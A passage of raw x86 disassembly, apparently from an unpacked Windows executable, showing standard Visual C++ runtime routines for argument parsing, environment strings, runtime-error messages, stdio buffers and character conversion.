sub_432BD7+33j ; sub_432BD7+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_432C0F test al, al jz short loc_432C0F movzx eax, al push eax call sub_434D2E test eax, eax pop ecx jz short loc_432BF2 inc esi jmp short loc_432BF2 ; --------------------------------------------------------------------------- loc_432C0F: ; CODE XREF: sub_432BD7+21j ; sub_432BD7+25j cmp byte ptr [esi], 22h jnz short loc_432C21 loc_432C14: ; CODE XREF: sub_432BD7+52j inc esi jmp short loc_432C21 ; --------------------------------------------------------------------------- loc_432C17: ; CODE XREF: sub_432BD7+19j cmp al, 20h jbe short loc_432C21 loc_432C1B: ; CODE XREF: sub_432BD7+48j inc esi cmp byte ptr [esi], 20h ja short loc_432C1B loc_432C21: ; CODE XREF: sub_432BD7+3Bj ; sub_432BD7+3Ej ... mov al, [esi] test al, al jz short loc_432C2B cmp al, 20h jbe short loc_432C14 loc_432C2B: ; CODE XREF: sub_432BD7+4Ej mov eax, esi pop esi retn sub_432BD7 endp ; =============== S U B R O U T I N E ======================================= sub_432C2F proc near ; CODE XREF: .text:0042C614p push ebx xor ebx, ebx cmp dword_676ECC, ebx push esi push edi jnz short loc_432C41 call sub_432AA0 loc_432C41: ; CODE XREF: sub_432C2F+Bj mov esi, dword_676924 xor edi, edi loc_432C49: ; CODE XREF: sub_432C2F+30j mov al, [esi] cmp al, bl jz short loc_432C61 cmp al, 3Dh jz short loc_432C54 inc edi loc_432C54: ; CODE XREF: sub_432C2F+22j push esi call sub_4293A0 pop ecx lea esi, [esi+eax+1] jmp short loc_432C49 ; --------------------------------------------------------------------------- loc_432C61: ; CODE XREF: sub_432C2F+1Ej lea eax, ds:4[edi*4] push eax call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx mov dword_6769EC, esi jnz short loc_432C83 push 9 call sub_42C67C pop ecx loc_432C83: ; CODE XREF: sub_432C2F+4Aj mov edi, dword_676924 cmp [edi], bl jz short loc_432CC6 push ebp loc_432C8E: ; CODE XREF: sub_432C2F+94j push edi call sub_4293A0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_432CBF push ebp call sub_4297B8 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_432CB2 push 9 call sub_42C67C pop ecx loc_432CB2: ; CODE XREF: sub_432C2F+79j push edi push dword ptr [esi] call sub_42A5D0 pop ecx add esi, 4 pop ecx loc_432CBF: ; CODE XREF: sub_432C2F+6Cj add edi, ebp cmp [edi], bl jnz short loc_432C8E pop ebp loc_432CC6: ; CODE XREF: sub_432C2F+5Cj push dword_676924 call sub_4298F2 pop ecx mov dword_676924, ebx mov [esi], ebx pop edi pop esi mov dword_676EC8, 1 pop ebx retn sub_432C2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432CE8 proc near ; CODE XREF: .text:0042C60Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_676ECC, ebx push esi push edi jnz short loc_432CFF call sub_432AA0 loc_432CFF: ; CODE XREF: sub_432CE8+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_43717C ; GetModuleFileNameA mov eax, dword_677008 mov off_6769FC, esi mov edi, esi cmp [eax], bl jz short loc_432D24 mov edi, eax loc_432D24: ; CODE XREF: sub_432CE8+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_432D81 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_4297B8 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_432D54 push 8 call sub_42C67C pop ecx loc_432D54: ; CODE XREF: sub_432CE8+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_432D81 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_6769E4, esi pop edi pop esi mov dword_6769E0, eax pop ebx leave retn sub_432CE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D81 proc near ; CODE XREF: sub_432CE8+47p ; sub_432CE8+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_432DAB mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_432DAB: ; CODE XREF: sub_432D81+20j cmp byte ptr [eax], 22h jnz short loc_432DF4 loc_432DB0: ; CODE XREF: sub_432D81+58j ; sub_432D81+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_432DE2 test dl, dl jz short loc_432DE2 movzx edx, dl test byte_676DC1[edx], 4 jz short loc_432DD5 inc dword ptr [ecx] test esi, esi jz short loc_432DD5 mov dl, [eax] mov [esi], dl inc esi inc eax loc_432DD5: ; CODE XREF: sub_432D81+46j ; sub_432D81+4Cj inc dword ptr [ecx] test esi, esi jz short loc_432DB0 mov dl, [eax] mov [esi], dl inc esi jmp short loc_432DB0 ; --------------------------------------------------------------------------- loc_432DE2: ; CODE XREF: sub_432D81+36j ; sub_432D81+3Aj inc dword ptr [ecx] test esi, esi jz short loc_432DEC and byte ptr [esi], 0 inc esi loc_432DEC: ; CODE XREF: sub_432D81+65j cmp byte ptr [eax], 22h jnz short loc_432E37 inc eax jmp short loc_432E37 ; --------------------------------------------------------------------------- loc_432DF4: ; CODE XREF: sub_432D81+2Dj ; sub_432D81+A5j inc dword ptr [ecx] test esi, esi jz short loc_432DFF mov dl, [eax] mov [esi], dl inc esi loc_432DFF: ; CODE XREF: sub_432D81+77j mov dl, [eax] inc eax movzx ebx, dl test byte_676DC1[ebx], 4 jz short loc_432E1A inc dword ptr [ecx] test esi, esi jz short loc_432E19 mov bl, [eax] mov [esi], bl inc esi loc_432E19: ; CODE XREF: sub_432D81+91j inc eax loc_432E1A: ; CODE XREF: sub_432D81+8Bj cmp dl, 20h jz short loc_432E28 test dl, dl jz short loc_432E2C cmp dl, 9 jnz short loc_432DF4 loc_432E28: ; CODE XREF: sub_432D81+9Cj test dl, dl jnz short loc_432E2F loc_432E2C: ; CODE XREF: sub_432D81+A0j dec eax jmp short loc_432E37 ; --------------------------------------------------------------------------- loc_432E2F: ; CODE XREF: sub_432D81+A9j test esi, esi jz short loc_432E37 and byte ptr [esi-1], 0 loc_432E37: ; CODE XREF: sub_432D81+6Ej ; sub_432D81+71j ... and [ebp+arg_10], 0 loc_432E3B: ; CODE XREF: sub_432D81+19Ej cmp byte ptr [eax], 0 jz loc_432F24 loc_432E44: ; CODE XREF: sub_432D81+D0j mov dl, [eax] cmp dl, 20h jz short loc_432E50 cmp dl, 9 jnz short loc_432E53 loc_432E50: ; CODE XREF: sub_432D81+C8j inc eax jmp short loc_432E44 ; --------------------------------------------------------------------------- loc_432E53: ; CODE XREF: sub_432D81+CDj cmp byte ptr [eax], 0 jz loc_432F24 test edi, edi jz short loc_432E68 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_432E68: ; CODE XREF: sub_432D81+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_432E6D: ; CODE XREF: sub_432D81+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_432E76: ; CODE XREF: sub_432D81+FCj cmp byte ptr [eax], 5Ch jnz short loc_432E7F inc eax inc ebx jmp short loc_432E76 ; --------------------------------------------------------------------------- loc_432E7F: ; CODE XREF: sub_432D81+F8j cmp byte ptr [eax], 22h jnz short loc_432EB0 test bl, 1 jnz short loc_432EAE xor edi, edi cmp [ebp+arg_10], edi jz short loc_432E9D cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_432E9D mov eax, edx jmp short loc_432EA0 ; --------------------------------------------------------------------------- loc_432E9D: ; CODE XREF: sub_432D81+10Dj ; sub_432D81+116j mov [ebp+arg_0], edi loc_432EA0: ; CODE XREF: sub_432D81+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_432EAE: ; CODE XREF: sub_432D81+106j shr ebx, 1 loc_432EB0: ; CODE XREF: sub_432D81+101j mov edx, ebx dec ebx test edx, edx jz short loc_432EC5 inc ebx loc_432EB8: ; CODE XREF: sub_432D81+142j test esi, esi jz short loc_432EC0 mov byte ptr [esi], 5Ch inc esi loc_432EC0: ; CODE XREF: sub_432D81+139j inc dword ptr [ecx] dec ebx jnz short loc_432EB8 loc_432EC5: ; CODE XREF: sub_432D81+134j mov dl, [eax] test dl, dl jz short loc_432F15 cmp [ebp+arg_10], 0 jnz short loc_432EDB cmp dl, 20h jz short loc_432F15 cmp dl, 9 jz short loc_432F15 loc_432EDB: ; CODE XREF: sub_432D81+14Ej cmp [ebp+arg_0], 0 jz short loc_432F0F test esi, esi jz short loc_432EFE movzx ebx, dl test byte_676DC1[ebx], 4 jz short loc_432EF7 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_432EF7: ; CODE XREF: sub_432D81+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_432F0D ; --------------------------------------------------------------------------- loc_432EFE: ; CODE XREF: sub_432D81+162j movzx edx, dl test byte_676DC1[edx], 4 jz short loc_432F0D inc eax inc dword ptr [ecx] loc_432F0D: ; CODE XREF: sub_432D81+17Bj ; sub_432D81+187j inc dword ptr [ecx] loc_432F0F: ; CODE XREF: sub_432D81+15Ej inc eax jmp loc_432E6D ; --------------------------------------------------------------------------- loc_432F15: ; CODE XREF: sub_432D81+148j ; sub_432D81+153j ... test esi, esi jz short loc_432F1D and byte ptr [esi], 0 inc esi loc_432F1D: ; CODE XREF: sub_432D81+196j inc dword ptr [ecx] jmp loc_432E3B ; --------------------------------------------------------------------------- loc_432F24: ; CODE XREF: sub_432D81+BDj ; sub_432D81+D5j test edi, edi jz short loc_432F2B and dword ptr [edi], 0 loc_432F2B: ; CODE XREF: sub_432D81+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_432D81 endp ; =============== S U B R O U T I N E ======================================= sub_432F35 proc near ; CODE XREF: .text:0042C605p ; sub_434A14+8Cp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_676B28 push ebx push ebp mov ebp, dword_4371C0 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_432F83 call ebp ; dword_4371C0 mov esi, eax cmp esi, ebx jz short loc_432F64 mov dword_676B28, 1 jmp short loc_432F8C ; --------------------------------------------------------------------------- loc_432F64: ; CODE XREF: sub_432F35+21j call dword_4371C4 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_43305E mov dword_676B28, 2 jmp loc_433012 ; --------------------------------------------------------------------------- loc_432F83: ; CODE XREF: sub_432F35+19j cmp eax, 1 jnz loc_43300D loc_432F8C: ; CODE XREF: sub_432F35+2Dj cmp esi, ebx jnz short loc_432F9C call ebp ; dword_4371C0 mov esi, eax cmp esi, ebx jz loc_43305E loc_432F9C: ; CODE XREF: sub_432F35+59j cmp [esi], bx mov eax, esi jz short loc_432FB1 loc_432FA3: ; CODE XREF: sub_432F35+73j ; sub_432F35+7Aj inc eax inc eax cmp [eax], bx jnz short loc_432FA3 inc eax inc eax cmp [eax], bx jnz short loc_432FA3 loc_432FB1: ; CODE XREF: sub_432F35+6Cj sub eax, esi mov edi, dword_437074 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_437074 mov ebp, eax cmp ebp, ebx jz short loc_433002 push ebp call sub_4297B8 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_433002 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_437074 test eax, eax jnz short loc_432FFE push [esp+18h+var_8] call sub_4298F2 pop ecx mov [esp+18h+var_8], ebx loc_432FFE: ; CODE XREF: sub_432F35+B9j mov ebx, [esp+18h+var_8] loc_433002: ; CODE XREF: sub_432F35+99j ; sub_432F35+A8j push esi call dword_4371C8 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_433060 ; --------------------------------------------------------------------------- loc_43300D: ; CODE XREF: sub_432F35+51j cmp eax, 2 jnz short loc_43305E loc_433012: ; CODE XREF: sub_432F35+49j cmp edi, ebx jnz short loc_433022 call dword_4371C4 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_43305E loc_433022: ; CODE XREF: sub_432F35+DFj cmp [edi], bl mov eax, edi jz short loc_433032 loc_433028: ; CODE XREF: sub_432F35+F6j ; sub_432F35+FBj inc eax cmp [eax], bl jnz short loc_433028 inc eax cmp [eax], bl jnz short loc_433028 loc_433032: ; CODE XREF: sub_432F35+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx jnz short loc_433048 xor esi, esi jmp short loc_433053 ; --------------------------------------------------------------------------- loc_433048: ; CODE XREF: sub_432F35+10Dj push ebp push edi push esi call sub_429420 add esp, 0Ch loc_433053: ; CODE XREF: sub_432F35+111j push edi call dword_4371CC ; FreeEnvironmentStringsA mov eax, esi jmp short loc_433060 ; --------------------------------------------------------------------------- loc_43305E: ; CODE XREF: sub_432F35+39j ; sub_432F35+61j ... xor eax, eax loc_433060: ; CODE XREF: sub_432F35+D6j ; sub_432F35+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_432F35 endp ; =============== S U B R O U T I N E ======================================= sub_433067 proc near ; CODE XREF: sub_42C67C+9p ; sub_42C6A1+9p mov eax, dword_67692C cmp eax, 1 jz short loc_43307E test eax, eax jnz short locret_43309F cmp dword_451144, 1 jnz short locret_43309F loc_43307E: ; CODE XREF: sub_433067+8j push 0FCh call sub_4330A0 mov eax, dword_676B2C pop ecx test eax, eax jz short loc_433094 call eax ; dword_676B2C loc_433094: ; CODE XREF: sub_433067+29j push 0FFh call sub_4330A0 pop ecx locret_43309F: ; CODE XREF: sub_433067+Cj ; sub_433067+15j retn sub_433067 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4330A0 proc near ; CODE XREF: sub_42C67C+12p ; sub_42C6A1+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_453A90 loc_4330B3: ; CODE XREF: sub_4330A0+20j cmp edx, [eax] jz short loc_4330C2 add eax, 8 inc ecx cmp eax, offset dword_453B20 jl short loc_4330B3 loc_4330C2: ; CODE XREF: sub_4330A0+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_453A90[esi] jnz loc_4331F0 mov eax, dword_67692C cmp eax, 1 jz loc_4331CA test eax, eax jnz short loc_4330F3 cmp dword_451144, 1 jz loc_4331CA loc_4330F3: ; CODE XREF: sub_4330A0+44j cmp edx, 0FCh jz loc_4331F0 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_43717C ; GetModuleFileNameA test eax, eax jnz short loc_43312A lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_42A5D0 pop ecx pop ecx loc_43312A: ; CODE XREF: sub_4330A0+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_4293A0 inc eax pop ecx cmp eax, 3Ch jbe short loc_43316D lea eax, [ebp+var_1A4] push eax call sub_4293A0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_429D10 add esp, 10h loc_43316D: ; CODE XREF: sub_4330A0+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_42A5D0 lea eax, [ebp+var_A0] push edi push eax call sub_42A5E0 lea eax, [ebp+var_A0] push offset asc_437D50 ; "\n\n" push eax call sub_42A5E0 push off_453A94[esi] lea eax, [ebp+var_A0] push eax call sub_42A5E0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_434D70 add esp, 2Ch pop edi jmp short loc_4331F0 ; --------------------------------------------------------------------------- loc_4331CA: ; CODE XREF: sub_4330A0+3Cj ; sub_4330A0+4Dj lea eax, [ebp+arg_0] lea esi, off_453A94[esi] push 0 push eax push dword ptr [esi] call sub_4293A0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_437200 ; GetStdHandle push eax call dword_437078 ; WriteFile loc_4331F0: ; CODE XREF: sub_4330A0+2Ej ; sub_4330A0+59j ... pop esi leave retn sub_4330A0 endp ; =============== S U B R O U T I N E ======================================= sub_4331F3 proc near ; CODE XREF: sub_42DB65+6Cp ; sub_42F3E2+32p ... arg_0 = dword ptr 4 inc dword_676920 push 1000h call sub_4297B8 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_43321C or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_43322D ; --------------------------------------------------------------------------- loc_43321C: ; CODE XREF: sub_4331F3+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_43322D: ; CODE XREF: sub_4331F3+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4331F3 endp ; =============== S U B R O U T I N E ======================================= sub_433237 proc near ; CODE XREF: sub_42DB65+61p ; sub_432104+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_676FE0 jb short loc_433246 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433246: ; CODE XREF: sub_433237+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_676EE0[ecx*4] mov al, [ecx+eax*4+4] and eax, 40h retn sub_433237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433260 proc near ; CODE XREF: sub_42DC7D+2D4p ; sub_42DC7D+6B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, offset dword_676EDC push edi push esi call dword_437224 ; InterlockedIncrement mov edi, dword_437220 xor ebx, ebx cmp dword_676ED8, ebx jz short loc_433290 push esi call edi ; dword_437220 push 13h call sub_42DAEF pop ecx push 1 pop ebx loc_433290: ; CODE XREF: sub_433260+20j push [ebp+arg_4] push [ebp+arg_0] call sub_4332B9 pop ecx mov [ebp+arg_4], eax test ebx, ebx pop ecx jz short loc_4332AE push 13h call sub_42DB50 pop ecx jmp short loc_4332B1 ; --------------------------------------------------------------------------- loc_4332AE: ; CODE XREF: sub_433260+42j push esi call edi ; dword_437220 loc_4332B1: ; CODE XREF: sub_433260+4Cj mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_433260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4332B9 proc near ; CODE XREF: sub_433260+36p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_4332C5 pop ebp retn ; --------------------------------------------------------------------------- loc_4332C5: ; CODE XREF: sub_4332B9+8j cmp dword_6769A8, 0 jnz short loc_4332E0 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_433312 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_4332E0: ; CODE XREF: sub_4332B9+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4535C4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_6769B8 call dword_437074 ; WideCharToMultiByte test eax, eax jz short loc_433312 cmp [ebp+arg_0], 0 jz short loc_433320 loc_433312: ; CODE XREF: sub_4332B9+1Ej ; sub_4332B9+51j call sub_42F119 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_433320: ; CODE XREF: sub_4332B9+57j pop ebp retn sub_4332B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433322 proc near ; CODE XREF: sub_42E5F5+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, offset dword_676EDC push edi push esi call dword_437224 ; InterlockedIncrement mov edi, dword_437220 xor ebx, ebx cmp dword_676ED8, ebx jz short loc_433352 push esi call edi ; dword_437220 push 13h call sub_42DAEF pop ecx push 1 pop ebx loc_433352: ; CODE XREF: sub_433322+20j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_43337F add esp, 0Ch mov [ebp+arg_8], eax test ebx, ebx jz short loc_433374 push 13h call sub_42DB50 pop ecx jmp short loc_433377 ; --------------------------------------------------------------------------- loc_433374: ; CODE XREF: sub_433322+46j push esi call edi ; dword_437220 loc_433377: ; CODE XREF: sub_433322+50j mov eax, [ebp+arg_8] pop edi pop esi pop ebx pop ebp retn sub_433322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43337F proc near ; CODE XREF: sub_433322+39p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4333A2 cmp [ebp+arg_8], ebx jz short loc_4333A2 mov al, [esi] cmp al, bl jnz short loc_4333A8 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4333A2 mov [eax], bx loc_4333A2: ; CODE XREF: sub_43337F+Cj ; sub_43337F+11j ... xor eax, eax loc_4333A4: ; CODE XREF: sub_43337F+42j ; sub_43337F+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4333A8: ; CODE XREF: sub_43337F+17j cmp dword_6769A8, ebx jnz short loc_4333C3 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_4333BE movzx ax, al mov [ecx], ax loc_4333BE: ; CODE XREF: sub_43337F+36j ; sub_43337F+C1j push 1 pop eax jmp short loc_4333A4 ; --------------------------------------------------------------------------- loc_4333C3: ; CODE XREF: sub_43337F+2Fj mov ecx, off_4533B8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_433421 mov eax, dword_4535C4 cmp eax, 1 jle short loc_433407 cmp [ebp+arg_8], eax jl short loc_433411 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_6769B8 call dword_437184 ; MultiByteToWideChar test eax, eax mov eax, dword_4535C4 jnz short loc_4333A4 loc_433407: ; CODE XREF: sub_43337F+5Cj cmp [ebp+arg_8], eax jb short loc_433411 cmp [esi+1], bl jnz short loc_4333A4 loc_433411: ; CODE XREF: sub_43337F+61j ; sub_43337F+8Bj ... call sub_42F119 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4333A4 ; --------------------------------------------------------------------------- loc_433421: ; CODE XREF: sub_43337F+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_6769B8 call dword_437184 ; MultiByteToWideChar test eax, eax jnz loc_4333BE jmp short loc_433411 sub_43337F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_433450 proc near ; CODE XREF: sub_42E5F5+797p ; sub_42E5F5+7E7p cmp cl, 40h jnb short loc_43346A cmp cl, 20h jnb short loc_433460 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_433460: ; CODE XREF: sub_433450+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_43346A: ; CODE XREF: sub_433450+3j xor eax, eax xor edx, edx retn sub_433450 endp ; =============== S U B R O U T I N E ======================================= sub_43346F proc near ; CODE XREF: sub_42F06B+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_4334BB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_43348D test al, 80h jz short loc_4334BB test al, 2 jnz short loc_4334BB loc_43348D: ; CODE XREF: sub_43346F+14j cmp dword ptr [esi+8], 0 jnz short loc_43349A push esi call sub_4331F3 pop ecx loc_43349A: ; CODE XREF: sub_43346F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4334AA cmp dword ptr [esi+4], 0 jnz short loc_4334BB inc eax mov [esi], eax loc_4334AA: ; CODE XREF: sub_43346F+30j test byte ptr [esi+0Ch], 40h jz short loc_4334C1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_4334C7 inc eax mov [esi], eax loc_4334BB: ; CODE XREF: sub_43346F+9j ; sub_43346F+18j ... or eax, 0FFFFFFFFh loc_4334BE: ; CODE XREF: sub_43346F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: sub_43346F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_4334C7: ; CODE XREF: sub_43346F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_4334BE sub_43346F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4334DD proc near ; CODE XREF: sub_42F12B+5Ep ; sub_43291B+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437D88 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_676B30 xor ebx, ebx cmp eax, ebx jnz short loc_43354C lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_437670 push esi call dword_4371B8 ; GetStringTypeW test eax, eax jz short loc_43352A mov eax, esi jmp short loc_433547 ; --------------------------------------------------------------------------- loc_43352A: ; CODE XREF: sub_4334DD+47j lea eax, [ebp+var_1C] push eax push esi push offset word_454038 push esi push ebx call dword_4371BC ; GetStringTypeA test eax, eax jz loc_433612 push 2 pop eax loc_433547: ; CODE XREF: sub_4334DD+4Bj mov dword_676B30, eax loc_43354C: ; CODE XREF: sub_4334DD+2Fj cmp eax, 2 jnz short loc_433575 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_43355D mov eax, dword_6769A8 loc_43355D: ; CODE XREF: sub_4334DD+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_4371BC ; GetStringTypeA jmp loc_433614 ; --------------------------------------------------------------------------- loc_433575: ; CODE XREF: sub_4334DD+72j cmp eax, 1 jnz loc_433612 cmp [ebp+arg_10], ebx jnz short loc_43358B mov eax, dword_6769B8 mov [ebp+arg_10], eax loc_43358B: ; CODE XREF: sub_4334DD+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_437184 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_433612 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_429B60 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_429760 add esp, 0Ch jmp short loc_4335E1 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4335E1: ; CODE XREF: sub_4334DD+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_433612 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_437184 ; MultiByteToWideChar cmp eax, ebx jz short loc_433612 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_4371B8 ; GetStringTypeW jmp short loc_433614 ; --------------------------------------------------------------------------- loc_433612: ; CODE XREF: sub_4334DD+61j ; sub_4334DD+9Bj ... xor eax, eax loc_433614: ; CODE XREF: sub_4334DD+93j ; sub_4334DD+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4334DD endp ; =============== S U B R O U T I N E ======================================= sub_433626 proc near ; CODE XREF: sub_42F2AB+1Ep arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_676FE0 push esi push edi jnb short loc_4336A7 mov eax, ebx sar eax, 5 lea edi, ds:676EE0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 test byte ptr [eax+esi+4], 1 jz short loc_4336A7 push ebx call sub_43241B mov eax, [edi] pop ecx test byte ptr [eax+esi+4], 1 jz short loc_43368E push ebx call sub_4323D9 pop ecx push eax call dword_4371B4 ; FlushFileBuffers test eax, eax jnz short loc_433681 call dword_437170 ; RtlGetLastWin32Error mov esi, eax jmp short loc_433683 ; 